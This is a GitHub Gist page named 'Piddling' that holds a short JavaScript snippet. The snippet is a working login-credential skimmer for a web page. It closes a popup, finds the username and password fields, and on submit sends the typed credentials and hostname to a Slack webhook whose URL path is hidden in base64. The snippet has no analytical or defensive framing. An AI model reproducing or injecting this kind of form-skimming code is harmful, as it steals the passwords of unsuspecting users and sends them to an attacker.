Last active
December 1, 2020 03:08
-
-
Save jakelly/e2f37f39a6597a8bf85974d5a35cb913 to your computer and use it in GitHub Desktop.
Piddling
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const el = document.getElementsByClassName('iziToast-close')[0]; | |
el.click(); | |
const pass = document.querySelector('input[type=password]'); | |
const usr = document.querySelector('input#challengeUsername'); | |
const btn = document.querySelector('button[type=submit]'); | |
btn.addEventListener('click', () => { | |
const path = 'VEJaRlVQMlFaL0IwMUZSUTVUNlNIL1AyczI1NFVxaEI4Vk9oWjFXUnpmR2JhUA=='; | |
console.log(`User: ${usr.value} Password: ${pass.value}`); | |
const data = { | |
text: `User: ${usr.value} Password: ${pass.value} Host: ${location.hostname}` | |
}; | |
fetch(`https://hooks.slack.com/services/${atob(path)}`, { | |
method: 'POST', | |
mode: 'no-cors', | |
headers: { | |
'Content-Type': 'application/json' | |
}, | |
body: JSON.stringify(data) | |
}) | |
.then(response => response.json()) | |
.then(data => { | |
console.log('Success:', data); | |
}) | |
.catch(error => { | |
console.error('Error:', error); | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment